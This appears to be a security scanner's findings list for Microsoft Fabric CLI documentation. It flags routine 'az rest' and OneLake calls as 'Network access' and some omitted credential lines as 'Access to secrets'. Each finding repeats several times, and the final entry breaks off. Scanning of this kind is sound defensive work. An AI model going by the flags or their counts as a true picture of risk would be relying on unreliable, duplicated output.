  • Network accessline 851
    LH_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 851
    LH_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 851
    LH_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 851
    LH_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 851
    LH_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 852
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 852
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 852
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 852
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 852
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 852
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 852
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 852
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 853
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 853
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 853
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 853
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 853
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 853
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 853
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 853
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 857
    [Credential-related source omitted]
  • Network accessline 857
    [Credential-related source omitted]
  • Network accessline 857
    [Credential-related source omitted]
  • Network accessline 857
    [Credential-related source omitted]
  • Network accessline 857
    [Credential-related source omitted]
  • Network accessline 857
    [Credential-related source omitted]
  • Network accessline 857
    [Credential-related source omitted]
  • Network accessline 857
    [Credential-related source omitted]
  • Network accessline 858
    [Credential-related source omitted]
  • Network accessline 858
    [Credential-related source omitted]
  • Network accessline 858
    [Credential-related source omitted]
  • Network accessline 858
    [Credential-related source omitted]
  • Network accessline 858
    [Credential-related source omitted]
  • Network accessline 858
    [Credential-related source omitted]
  • Network accessline 858
    [Credential-related source omitted]
  • Network accessline 858
    [Credential-related source omitted]
  • Network accessline 859
    [Credential-related source omitted]
  • Network accessline 859
    [Credential-related source omitted]
  • Network accessline 859
    [Credential-related source omitted]
  • Network accessline 859
    [Credential-related source omitted]
  • Network accessline 859
    [Credential-related source omitted]
  • Network accessline 859
    [Credential-related source omitted]
  • Network accessline 859
    [Credential-related source omitted]
  • Network accessline 859
    [Credential-related source omitted]
  • Access to secretsline 859
    [Credential-related source omitted]
  • Access to secretsline 859
    [Credential-related source omitted]
  • Access to secretsline 859
    [Credential-related source omitted]
  • Access to secretsline 859
    [Credential-related source omitted]
  • Access to secretsline 859
    [Credential-related source omitted]
  • Access to secretsline 859
    [Credential-related source omitted]
  • Access to secretsline 859
    [Credential-related source omitted]
  • Access to secretsline 859
    [Credential-related source omitted]
  • Access to secretsline 860
    [Credential-related source omitted]
  • Access to secretsline 860
    [Credential-related source omitted]
  • Access to secretsline 860
    [Credential-related source omitted]
  • Access to secretsline 860
    [Credential-related source omitted]
  • Access to secretsline 860
    [Credential-related source omitted]
  • Access to secretsline 860
    [Credential-related source omitted]
  • Access to secretsline 860
    [Credential-related source omitted]
  • Access to secretsline 860
    [Credential-related source omitted]
  • Network accessline 872
    # Step 1: Resolve lakehouse and get SQL endpoint info LH_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 872
    # Step 1: Resolve lakehouse and get SQL endpoint info LH_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 872
    # Step 1: Resolve lakehouse and get SQL endpoint info LH_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 872
    # Step 1: Resolve lakehouse and get SQL endpoint info LH_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 872
    # Step 1: Resolve lakehouse and get SQL endpoint info LH_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 872
    # Step 1: Resolve lakehouse and get SQL endpoint info LH_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 872
    # Step 1: Resolve lakehouse and get SQL endpoint info LH_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 872
    # Step 1: Resolve lakehouse and get SQL endpoint info LH_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 873
    LH_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 873
    LH_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 873
    LH_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 873
    LH_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 873
    LH_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 873
    LH_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 873
    LH_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 873
    LH_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 874
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 874
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 874
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 874
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 874
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 874
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 874
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 874
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 875
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 875
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 875
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 875
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 875
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 875
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 875
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 875
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 879
    SQL_INFO=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 879
    SQL_INFO=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 879
    SQL_INFO=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 879
    SQL_INFO=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 879
    SQL_INFO=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 879
    SQL_INFO=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 879
    SQL_INFO=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 879
    SQL_INFO=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 880
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 880
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 880
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 880
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 880
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 880
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 880
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 880
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 881
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$LH_ID" \
  • Network accessline 881
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$LH_ID" \
  • Network accessline 881
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$LH_ID" \
  • Network accessline 881
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$LH_ID" \
  • Network accessline 881
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$LH_ID" \
  • Network accessline 881
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$LH_ID" \
  • Network accessline 881
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$LH_ID" \
  • Network accessline 881
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$LH_ID" \
  • Network accessline 907
    # fabric_lro handles the 202 → poll → terminal-state cycle RESULT=$(fabric_lro POST \   "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 907
    # fabric_lro handles the 202 → poll → terminal-state cycle RESULT=$(fabric_lro POST \   "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 907
    # fabric_lro handles the 202 → poll → terminal-state cycle RESULT=$(fabric_lro POST \   "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 907
    # fabric_lro handles the 202 → poll → terminal-state cycle RESULT=$(fabric_lro POST \   "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 907
    # fabric_lro handles the 202 → poll → terminal-state cycle RESULT=$(fabric_lro POST \   "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 907
    # fabric_lro handles the 202 → poll → terminal-state cycle RESULT=$(fabric_lro POST \   "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 907
    # fabric_lro handles the 202 → poll → terminal-state cycle RESULT=$(fabric_lro POST \   "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 907
    # fabric_lro handles the 202 → poll → terminal-state cycle RESULT=$(fabric_lro POST \   "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 908
    RESULT=$(fabric_lro POST    "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 908
    RESULT=$(fabric_lro POST    "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 908
    RESULT=$(fabric_lro POST    "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 908
    RESULT=$(fabric_lro POST    "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 908
    RESULT=$(fabric_lro POST    "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 908
    RESULT=$(fabric_lro POST    "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 908
    RESULT=$(fabric_lro POST    "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 908
    RESULT=$(fabric_lro POST    "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 909
    "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 909
    "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 909
    "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 909
    "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 909
    "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 909
    "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 909
    "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 909
    "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 920
    | Symptom | Cause | Fix | |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` |
  • Network accessline 920
    | Symptom | Cause | Fix | |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` |
  • Network accessline 920
    | Symptom | Cause | Fix | |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` |
  • Network accessline 920
    | Symptom | Cause | Fix | |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` |
  • Network accessline 920
    | Symptom | Cause | Fix | |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` |
  • Network accessline 920
    | Symptom | Cause | Fix | |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` |
  • Network accessline 920
    | Symptom | Cause | Fix | |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` |
  • Network accessline 920
    | Symptom | Cause | Fix | |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` |
  • Network accessline 921
    |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns
  • Network accessline 921
    |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns
  • Network accessline 921
    |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns
  • Network accessline 921
    |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns
  • Network accessline 921
    |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns
  • Network accessline 921
    |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns
  • Network accessline 921
    |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns
  • Network accessline 921
    |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns
  • Network accessline 922
    | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns `"AADSTS50001
  • Network accessline 922
    | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns `"AADSTS50001
  • Network accessline 922
    | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns `"AADSTS50001
  • Network accessline 922
    | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns `"AADSTS50001
  • Network accessline 922
    | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns `"AADSTS50001
  • Network accessline 922
    | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns `"AADSTS50001
  • Network accessline 922
    | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns `"AADSTS50001
  • Network accessline 922
    | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns `"AADSTS50001
  • Network accessline 923
    | `az account get-access-token` returns `"AADSTS500011: resource not found"` | Wrong resource URI string | Verify exact string from Environment Detection and API Configuration — no trailing slash variations | | `401 Unauthorized` on OneLake
  • Network accessline 923
    | `az account get-access-token` returns `"AADSTS500011: resource not found"` | Wrong resource URI string | Verify exact string from Environment Detection and API Configuration — no trailing slash variations | | `401 Unauthorized` on OneLake
  • Network accessline 923
    | `az account get-access-token` returns `"AADSTS500011: resource not found"` | Wrong resource URI string | Verify exact string from Environment Detection and API Configuration — no trailing slash variations | | `401 Unauthorized` on OneLake
  • Network accessline 923
    | `az account get-access-token` returns `"AADSTS500011: resource not found"` | Wrong resource URI string | Verify exact string from Environment Detection and API Configuration — no trailing slash variations | | `401 Unauthorized` on OneLake
  • Network accessline 923
    | `az account get-access-token` returns `"AADSTS500011: resource not found"` | Wrong resource URI string | Verify exact string from Environment Detection and API Configuration — no trailing slash variations | | `401 Unauthorized` on OneLake
  • Network accessline 923
    | `az account get-access-token` returns `"AADSTS500011: resource not found"` | Wrong resource URI string | Verify exact string from Environment Detection and API Configuration — no trailing slash variations | | `401 Unauthorized` on OneLake
  • Network accessline 923
    | `az account get-access-token` returns `"AADSTS500011: resource not found"` | Wrong resource URI string | Verify exact string from Environment Detection and API Configuration — no trailing slash variations | | `401 Unauthorized` on OneLake
  • Network accessline 923
    | `az account get-access-token` returns `"AADSTS500011: resource not found"` | Wrong resource URI string | Verify exact string from Environment Detection and API Configuration — no trailing slash variations | | `401 Unauthorized` on OneLake
  • Network accessline 924
    | `401 Unauthorized` on OneLake `curl` call | Using Fabric API token instead of Storage token | Use `--resource https://storage.azure.com` for OneLake |
  • Network accessline 924
    | `401 Unauthorized` on OneLake `curl` call | Using Fabric API token instead of Storage token | Use `--resource https://storage.azure.com` for OneLake |
  • Network accessline 924
    | `401 Unauthorized` on OneLake `curl` call | Using Fabric API token instead of Storage token | Use `--resource https://storage.azure.com` for OneLake |
  • Network accessline 924
    | `401 Unauthorized` on OneLake `curl` call | Using Fabric API token instead of Storage token | Use `--resource https://storage.azure.com` for OneLake |
  • Network accessline 924
    | `401 Unauthorized` on OneLake `curl` call | Using Fabric API token instead of Storage token | Use `--resource https://storage.azure.com` for OneLake |
  • Network accessline 924
    | `401 Unauthorized` on OneLake `curl` call | Using Fabric API token instead of Storage token | Use `--resource https://storage.azure.com` for OneLake |
  • Network accessline 924
    | `401 Unauthorized` on OneLake `curl` call | Using Fabric API token instead of Storage token | Use `--resource https://storage.azure.com` for OneLake |
  • Network accessline 924
    | `401 Unauthorized` on OneLake `curl` call | Using Fabric API token instead of Storage token | Use `--resource https://storage.azure.com` for OneLake |
  • Network accessline 952
    az rest \   --method {get|post|put|patch|delete} \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 952
    az rest \   --method {get|post|put|patch|delete} \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 952
    az rest \   --method {get|post|put|patch|delete} \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 952
    az rest \   --method {get|post|put|patch|delete} \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 952
    az rest \   --method {get|post|put|patch|delete} \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 952
    az rest \   --method {get|post|put|patch|delete} \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 952
    az rest \   --method {get|post|put|patch|delete} \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 952
    az rest \   --method {get|post|put|patch|delete} \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 953
    --method {get|post|put|patch|delete} \   --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/{path}" \
  • Network accessline 953
    --method {get|post|put|patch|delete} \   --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/{path}" \
  • Network accessline 953
    --method {get|post|put|patch|delete} \   --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/{path}" \
  • Network accessline 953
    --method {get|post|put|patch|delete} \   --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/{path}" \
  • Network accessline 953
    --method {get|post|put|patch|delete} \   --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/{path}" \
  • Network accessline 953
    --method {get|post|put|patch|delete} \   --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/{path}" \
  • Network accessline 953
    --method {get|post|put|patch|delete} \   --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/{path}" \
  • Network accessline 953
    --method {get|post|put|patch|delete} \   --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/{path}" \
  • Network accessline 954
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 954
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 954
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 954
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 954
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 954
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 954
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 954
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 955
    --url "https://api.fabric.microsoft.com/v1/{path}" \
  • Network accessline 955
    --url "https://api.fabric.microsoft.com/v1/{path}" \
  • Network accessline 955
    --url "https://api.fabric.microsoft.com/v1/{path}" \
  • Network accessline 955
    --url "https://api.fabric.microsoft.com/v1/{path}" \
  • Network accessline 955
    --url "https://api.fabric.microsoft.com/v1/{path}" \
  • Network accessline 955
    --url "https://api.fabric.microsoft.com/v1/{path}" \
  • Network accessline 955
    --url "https://api.fabric.microsoft.com/v1/{path}" \
  • Network accessline 955
    --url "https://api.fabric.microsoft.com/v1/{path}" \
  • Network accessline 974
    | Access Target | Audience for `--resource` | Primary CLI Tool | |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` |
  • Network accessline 974
    | Access Target | Audience for `--resource` | Primary CLI Tool | |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` |
  • Network accessline 974
    | Access Target | Audience for `--resource` | Primary CLI Tool | |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` |
  • Network accessline 974
    | Access Target | Audience for `--resource` | Primary CLI Tool | |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` |
  • Network accessline 974
    | Access Target | Audience for `--resource` | Primary CLI Tool | |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` |
  • Network accessline 974
    | Access Target | Audience for `--resource` | Primary CLI Tool | |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` |
  • Network accessline 974
    | Access Target | Audience for `--resource` | Primary CLI Tool | |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` |
  • Network accessline 974
    | Access Target | Audience for `--resource` | Primary CLI Tool | |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` |
  • Network accessline 975
    |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` |
  • Network accessline 975
    |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` |
  • Network accessline 975
    |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` |
  • Network accessline 975
    |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` |
  • Network accessline 975
    |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` |
  • Network accessline 975
    |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` |
  • Network accessline 975
    |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` |
  • Network accessline 975
    |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` |
  • Network accessline 976
    | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` |
  • Network accessline 976
    | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` |
  • Network accessline 976
    | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` |
  • Network accessline 976
    | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` |
  • Network accessline 976
    | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` |
  • Network accessline 976
    | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` |
  • Network accessline 976
    | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` |
  • Network accessline 976
    | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` |
  • Network accessline 977
    | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` |
  • Network accessline 977
    | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` |
  • Network accessline 977
    | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` |
  • Network accessline 977
    | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` |
  • Network accessline 977
    | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` |
  • Network accessline 977
    | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` |
  • Network accessline 977
    | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` |
  • Network accessline 977
    | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` |
  • Network accessline 978
